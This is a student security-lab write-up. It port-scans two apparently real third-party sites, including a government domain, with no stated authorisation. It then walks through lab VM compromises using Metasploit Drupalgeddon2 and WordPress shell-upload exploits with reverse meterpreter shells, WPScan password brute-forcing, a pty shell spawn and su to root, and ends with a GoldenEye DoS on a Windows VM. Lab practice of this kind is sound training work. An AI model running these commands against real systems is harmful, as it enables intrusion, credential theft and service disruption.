Assignment 4

TASK-1:

1. TITLE: Sniffing - Identify the websites that have vulnerable protocols to sniff

2. OBJECTIVE OF THE TASK: Now here we find the websites that are vulnerable to the protocals like HTTP, FTP, and POP in the sniffing phase and display the vulnerable information

3. STEP BY STEP PROCEDURE:

1. Now find the websites that can has the mentioned protocols like HTTP, FTP, and POP

2. Now search each vulnerability using nmap command.

3. Now we monitor requests at Wireshark to known in detail.

Websites: testphp.vulnweb.com

```
┌──(root㉿kali)-[/home/kali]
└─# nmap 44.228.249.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11 17:21 EST
Nmap scan report for ec2-44-228-249-3.us-west-2.compute.amazonaws.com (44.228.249.3)
Host is up (0.017s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.85 seconds
```

Websites: cpse-global.com

```
┌──(root㉿kali)-[/home/kali]
└─# nmap 168.119.136.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11
Nmap scan report for c21.eelserver.com (168.119.136.101)
Host is up (0.029s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
110/tcp  open  pop3
143/tcp  open  imap
587/tcp  open  submission
```

Websites: **fgei.gov.pk**

```
┌──(root㉿kali)-[/home/kali]
└─# nmap 203.124.44.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11 17:28 EST
Nmap scan report for host201608.comsatshosting.com (203.124.44.110)
Host is up (0.043s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
110/tcp  open  pop3
143/tcp  open  imap
443/tcp  open  https
587/tcp  open  submission
```

TASK-2:

1. TITLE: Server Hacking – Crack the servers and Find the Flags

2. OBJECTIVE OF THE TASK: we use to find the flags in the server by using various methods and exploits.

3. STEP BY STEP PROCEDURE:

1. Access the servers and use respective payloads to attack

2. Now use the different ways and searches for the flags and capture it.

3. Now use the payloads by entering to the servers.

Dc-1:

Now first use nmap search

```
└# nmap -sV -sC -p- 10.0.2.9
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.0.2.9
Host is up (0.00062s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debia
| ssh-hostkey:
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8
80/tcp    open  http    Apache httpd 2.2.2
|_http-title: Welcome to Drupal Site | Drup
| http-robots.txt: 36 disallowed entries (
| /includes/ /misc/ /modules/ /profiles/ /
| /themes/ /CHANGELOG.txt /cron.php /INSTAL
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian
|_http-generator: Drupal 7 (http://drupal.
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          47405/udp6  status
|   100024  1          48947/tcp6  status
|   100024  1          50805/tcp   status
|_  100024  1          54847/udp   status
```

2. Here we get the Drupal with version 7

3. Now use it at msfconsole frame work.

```
msf6 > search drupal 7

Matching Modules
================

  #   Name                                                    Disclosure Date  Rank       Check  Description
  -   ----                                                    ---------------  ----       -----  -----------
  0   exploit/unix/webapp/drupal_coder_exec                   2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
  1   exploit/unix/webapp/drupal_drupalgeddon2                2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
  2     \_ target: Automatic (PHP In-Memory)
  3     \_ target: Automatic (PHP Dropper)
  4     \_ target: Automatic (Unix In-Memory)
  5     \_ target: Automatic (Linux Dropper)
  6     \_ target: Drupal 7.x (PHP In-Memory)
  7     \_ target: Drupal 7.x (PHP Dropper)
  8     \_ target: Drupal 7.x (Unix In-Memory)
  9     \_ target: Drupal 7.x (Linux Dropper)
  10    \_ target: Drupal 8.x (PHP In-Memory)
  11    \_ target: Drupal 8.x (PHP Dropper)
  12    \_ target: Drupal 8.x (Unix In-Memory)
  13    \_ target: Drupal 8.x (Linux Dropper)
  14    \_ AKA: SA-CORE-2018-002
  15    \_ AKA: Drupalgeddon 2
```

4. Now we go to set rhosts for the server.

```
[-] Unknown command: use1. Did you mean use? Run the help command for more details.
msf6 > use 1
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > optionms
[-] Unknown command: optionms. Did you mean options? Run the help command for more details.
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.7         yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)


View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 10.0.2.9
rhosts => 10.0.2.9
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 10.0.2.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Sending stage (39927 bytes) to 10.0.2.9
```

4. Now we go to set rhosts for the server.

Then travel through the files we get

- cat flag1.txt
- Every good CMS needs a config file and so do you is the first flag

After we go to root and capture the final flag it will shows as

The

- Well done

```
ls
thefinalflag.txt
cat thefinalflag.txt
Well done!!!!
```

HF2019-Linx server:

1. Now first use nmap search

```
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -p- 192.168.1.11
Starting Nmap 7.94SVN ( https://nmap.org ) at
Nmap scan report for 192.168.1.11
Host is up (0.0028s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.1.3
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
```

2. Now we done anonymous login is also working so we done and reduces the work.

```
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   __  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / _|/ _` | '_ \
            \  /\  /  | |     ____) | (_| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                         Version 3.8.25

      @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://192.168.1.11/ [192.168.1.11]
```

```
Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.25 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.1.11/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.1.11/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.1.11/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.1.11/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299
```

```
 | Location: http://192.168.1.11/wp-content/themes/twentyseventeen/
 | Last Updated: 2024-11-12T00:00:00.000Z
 | Readme: http://192.168.1.11/wp-content/themes/twentyseventeen/README.txt
 | [!] The version is out of date, the latest version is 3.8
 | Style URL: http://192.168.1.11/wp-content/themes/twentyseventeen/style.css?ver=5.2.3
 | Style Name: Twenty Seventeen
 | Style URI: https://wordpress.org/themes/twentyseventeen/
 | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo ..
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 |
 | Version: 2.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://192.168.1.11/wp-content/themes/twentyseventeen/style.css?ver=5.2.3, Match: 'Version: 2.2'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:
```

```
[+] Requests Done: 194
[+] Cached Requests: 5
[+] Data Sent: 46.969 KB
[+] Data Received: 22.086 MB
[+] Memory used: 286.113 MB
[+] Elapsed time: 00:00:05

┌──(root㉿kali)-[~]
```

https://www.rapid7.com/db/modules/auxiliary/admin/http/wp_google_maps_sqli/

Kali Linux | Kali Tools | Kali Docs | Kali Forums | Kali NetHunter | Exploit-DB | Google Hacking DB | OffSec

WordPress Google Maps Plugin SQL Injection

Back to Search

WordPress Google Maps Plugin SQL Injection

Disclosed	Created
04/02/2019	04/22/2019

Description

This module exploits a SQL injection vulnerability in a REST endpoint registered by the WordPress plugin wp-google-maps between 7.11.00 and 7.11.17 (included). As the table prefix can be changed by administrators, set DB_PREFIX accordingly.

Author(s)

- Thomas Chauchefoin (Synacktiv)

Development

- Source Code
- History

```
┌──(root㉿kali)-[~]
└─# msfconsole
Metasploit tip: Use sessions -1 to interact with the last opened session


  Metasploit Park, System Security Interface
  Version 4.0.5, Alpha E
  Ready ...
  > access security
  access: PERMISSION DENIED.
  > access security grid
  access: PERMISSION DENIED.
  > access main security grid
  access: PERMISSION DENIED....and ...
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!
  YOU DIDN'T SAY THE MAGIC WORD!


       =[ metasploit v6.4.9-dev                           ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post       ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >  use auxiliary/admin/http/wp_google_maps_sqli
msf6 auxiliary(admin/http/wp_google_maps_sqli) > options

Module options (auxiliary/admin/http/wp_google_maps_sqli):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DB_PREFIX  wp_              yes       WordPress table prefix
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   VHOST                       no        HTTP server virtual host
```

```
└─# ssh -oHostKeyAlgorithms=+ssh-rsa webmaster@192.168.1.11
(webmaster@192.168.1.11) Password:
Linux HF2019-Linux 4.19.0-0.bpo.6-amd64 #1 SMP Debian 4.19.67-2~bpo

The programs included with the Debian GNU/Linux system are free sof
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

```
flag.txt
root@HF2019-Linux:~# cat flag.txt
3dcdf93d2976321d7a8c47a6bb2d48837d330624
root@HF2019-Linux:~#
```

•Exploit EVM server:

1. Now first use nmap search

```
┌──(root㉿kali)-[~]
└─# nmap -sV -sC -p- 10.0.2.11
Starting Nmap 7.94SVN ( https://nmap.org ) at 2
Nmap scan report for 10.0.2.11
Host is up (0.00026s latency).
Not shown: 65528 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu
| ssh-hostkey:
|   2048 a2:d3:34:13:62:b1:18:a3:dd:db:35:c5:5a
|   256 85:48:53:2a:50:c5:a0:b7:1a:ee:a4:d8:12
|_  256 36:22:92:c7:32:22:e3:34:51:bc:0e:74:9f
53/tcp  open  domain      ISC BIND 9.10.3-P4 (U
| dns-nsid:
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp  open  http        Apache httpd 2.4.18 (
|_http-title: Apache2 Ubuntu Default Page: It w
|_http-server-header: Apache/2.4.18 (Ubuntu)
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE CAPA PIPELI
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: LOGINDISABLEDA0001 post-lo
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubu
MAC Address: 08:00:27:E2:A7:B2 (Oracle VirtualB
Service Info: Host: UBUNTU-EXTERMELY-VULNERABLE

Host script results:
| smb2-time:
|   date: 2024-11-28T18:12:14
|_  start_date: N/A
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: ubuntu-extermely-vulnerable-
|   NetBIOS computer name: UBUNTU-EXTERMELY-VUL
|   Domain name: \x00
|   FQDN: ubuntu-extermely-vulnerable-m4ch1ine
```

2. By above open ports we need to use the payloads.

Apache2 Ubuntu Default Page

ubuntu

It works!

This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed at this site is working properly. You should **replace this file** (located at /var/www/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.

Configuration Overview

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split into several files optimized for interaction with Ubuntu tools. The configuration system is **fully documented in /usr/share/doc/apache2/README.Debian.gz**. Refer to this for the full documentation. Documentation for the web server itself can be found by accessing the **manual** if the apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

```
you can find me at /wordpress/ im vulnerable webapp :)
```

- apache2.conf is the main configuration file. It puts the pieces together by including all remaining configuration files when starting up the web server.
- ports.conf is always included from the main configuration file. It is used to determine the listening ports for incoming connections, and this file can be customized anytime.
- Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ directories contain particular configuration snippets which manage modules, global configuration fragments, or virtual host configurations, respectively.
- They are activated by symlinking available configuration files from their respective *-available/ counterparts. These should be managed by using our helpers **a2enmod**, **a2dismod**, **a2ensite**, **a2dissite**, and **a2enconf**, **a2disconf** . See their respective man pages for detailed information.
- The binary is called apache2. Due to the use of environment variables, in the default configuration, apache2 needs to be started/stopped with /etc/init.d/apache2 or apache2ctl. **Calling /usr/bin/apache2 directly will not work** with the default configuration.

```
      ____     ___ ___  ___
     \ \      / / _ \ / ___|
      \ \ /\ / / |_) | (__   __ _ _ _ _ _ _ *
       \ V  V / |  __/ \__ \ / _|/ _ | '_ \
        \ /\ / | |    ___) | (_| (_| | | | |
         V  V   |_|   |____/ \__|\__,_|_| |_|

     WordPress Security Scanner by the WPScan Team
                    Version 3.8.25
   Sponsored by Automattic - https://automattic.com/
   @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

```
nteresting Finding(s):

+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

+] XML-RPC seems to be enabled: http://10.0.2.11/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
|  - http://codex.wordpress.org/XML-RPC_Pingback_API
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

+] WordPress readme found: http://10.0.2.11/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

+] Upload directory has listing enabled: http://10.0.2.11/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

+] The external WP-Cron seems to be enabled: http://10.0.2.11/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
|  - https://www.iplocation.net/defend-wordpress-from-ddos
|  - https://github.com/wpscanteam/wpscan/issues/1299

+] WordPress version 5.2.4 identified (Insecure, released on 2019-10-14).
| Found By: Emoji Settings (Passive Detection)
|  - http://10.0.2.11/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=5.2.4'
| Confirmed By: Meta Generator (Passive Detection)
|  - http://10.0.2.11/wordpress/, Match: 'WordPress 5.2.4'

i] The main theme could not be detected.

+] Enumerating All Plugins (via Passive Methods)

i] No plugins Found.

+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <==========================================

i] No Config Backups Found.

!] No WPScan API Token given, as a result vulnerability data has not been output.
!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
```

```
[+] c0rrupt3d_brain
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
```

```
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:00 <==========

[i] No Config Backups Found.

[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0rrupt3d_brain / 24992499
Trying c0rrupt3d_brain / 24992499 Time: 00:02:57 <

[!] Valid Combinations Found:
 | Username: c0rrupt3d_brain, Password: 24992499
```

```
  Id  Name
  --  ----
  0   WordPress


View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 10.0.2.11
rhosts => 10.0.2.11
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run

[-] Msf::OptionValidateError One or more options failed to validate: USERNAME, PASSWORD.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set lhost 10.0.2.7
lhost => 10.0.2.7
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
targeturi => /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username c0rrupt3d_brain
username => c0rrupt3d_brain
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password 24992499
password => 24992499
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run

[*] Started reverse TCP handler on 10.0.2.7:4444
[*] Authenticating with WordPress using c0rrupt3d_brain:24992499 ...
[+] Authenticated with WordPress
[*] Preparing payload ...
[*] Uploading payload ...
[*] Executing the payload at /wordpress/wp-content/plugins/XgVvQqRaUP/FaBqpkiKSt.php ...
[*] Sending stage (39927 bytes) to 10.0.2.11
[+] Deleted FaBqpkiKSt.php
[+] Deleted XgVvQqRaUP.php
[+] Deleted ../XgVvQqRaUP
[*] Meterpreter session 1 opened (10.0.2.7:4444 -> 10.0.2.11:37998) at 2024-12-01 10:30:06 -0500

meterpreter > cd /home
meterpreter > ls
Listing: /home
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040755/rwxr-xr-x  4096  dir   2019-11-01 15:50:53 -0400  root3r

meterpreter > cd root3r
meterpreter > ls
Listing: /home/root3r
=====================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  515   fil   2019-10-30 12:20:18 -0400  .bash_history
100644/rw-r--r--  220   fil   2019-10-30 12:00:58 -0400  .bash_logout
100644/rw-r--r--  3771  fil   2019-10-30 12:00:58 -0400  .bashrc
```

```
Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100644/rw-r--r--  515   fil   2019-10-30 12:20:18 -0400  .bash_history
100644/rw-r--r--  220   fil   2019-10-30 12:00:58 -0400  .bash_logout
100644/rw-r--r--  3771  fil   2019-10-30 12:00:58 -0400  .bashrc
040755/rwxr-xr-x  4096  dir   2019-10-30 12:04:22 -0400  .cache
100644/rw-r--r--  22    fil   2019-10-30 12:06:32 -0400  .mysql_history
100644/rw-r--r--  655   fil   2019-10-30 12:00:58 -0400  .profile
100644/rw-r--r--  8     fil   2019-10-31 16:20:35 -0400  .root_password_ssh.txt
100644/rw-r--r--  0     fil   2019-10-30 12:11:08 -0400  .sudo_as_admin_successful
100644/rw-r--r--  4     fil   2019-11-01 14:41:28 -0400  test.txt

meterpreter > cat .root_password_ssh.txt
willy26
meterpreter > whoami
[-] Unknown command: whoami. Run the help command for more details.
meterpreter > cd /root
[-] stdapi_fs_chdir: Operation failed: 1
meterpreter > shell
Process 2739 created.
Channel 1 created.
ls
test.txt
cat test.txt
123
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r$ whoami
whoami
www-data
www-data@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r$ su
su
Password: willy26

root@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r# ls
ls
test.txt
root@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r# cat test.txt
cat test.txt
123
root@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r# cd root
cd root
bash: cd: root: No such file or directory
root@ubuntu-extermely-vulnerable-m4ch1ine:/home/root3r# cd /root
cd /root
root@ubuntu-extermely-vulnerable-m4ch1ine:~# ls
ls
proof.txt
root@ubuntu-extermely-vulnerable-m4ch1ine:~# cat proof.txt
cat proof.txt
voila you have successfully pwned me :) !!!
:D
root@ubuntu-extermely-vulnerable-m4ch1ine:~#
```

TASK-3:

1. TITLE: DOS ATTACK ON WINDOWS 10

2. OBJECTIVE OF THE TASK: TO KNOWN AND MONITER THE DOS ATTACK ON THE WINSOWS 10.

3. STEP BY STEP PROCEDURE:

1. OPEN KALI AND GET THE GOLDENEYE FROM GIT

2. NOW FIND IP OF THE TARGET WINDOWS IP NUMBER.

3. NOW START THE ATTACK AND CAPTURE IT ON THE WIRESHARK

4. NOW WE SEE THE SYSTEM PERFORMANCE IN THE RESPECTED TARGET SYSTEM**.**

C:\Windows\system32\cmd.exe

```
Microsoft Windows [Version 10.0.19045.4894]
(c) Microsoft Corporation. All rights reserved.

C:\Users\vboxuser>ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::e228:b742:d989:57d4%6
   IPv4 Address. . . . . . . . . . . : 10.0.2.15
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.2.1

C:\Users\vboxuser>
```

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Apply a display filter ... <Ctrl-/>

No.	Time	Source	Destination	Protocol	Length	Info
9711…	106.196964681	170.37.236.113	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.197105532	71.103.159.53	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.197245937	15.36.202.81	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.197407620	37.53.38.56	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.197547363	29.23.87.67	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.197683635	11.45.113.113	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.197822367	163.182.130.2	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.197960259	97.226.105.129	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.198099783	251.108.228.87	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.198239175	203.227.155.103	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.198380731	43.201.53.14	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.198519376	185.115.215.37	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.198660450	2.32.197.89	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.198799655	19.161.84.43	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.198937737	57.62.118.138	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.199084866	206.98.213.236	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.199223272	185.84.189.173	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.199360552	15.19.139.147	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.199500133	133.213.46.194	10.0.2.15	NBSS	174	NBSS Continuation Me…
9711…	106.199637475	235.253.163.100	10.0.2.15	NBSS	174	NBSS Continuation Me…

Task Manager

File Options View

Processes Performance App history Startup Users Details Services

CPU
100% 2.50 GHz

Memory
3.4/4.0 GB

CPU activity

Disk 0 (C:)
HDD
19%

Ethernet
Ethernet
S: 5.0 R: 46.2 Mbps

CPU 12th Gen Intel(R) Core(TM) i5-12450H

% Utilization 100%

60 seconds 0

Utilization	Speed		Base speed:	2.50 GHz
100%	2.50 GHz		Sockets:	1
			Virtual processors:	1
Processes	Threads	Handles	Virtual machine:	Yes
138	1239	53995	L1 cache:	N/A

Up time
0:00:18:27

Fewer details | Open Resource Monitor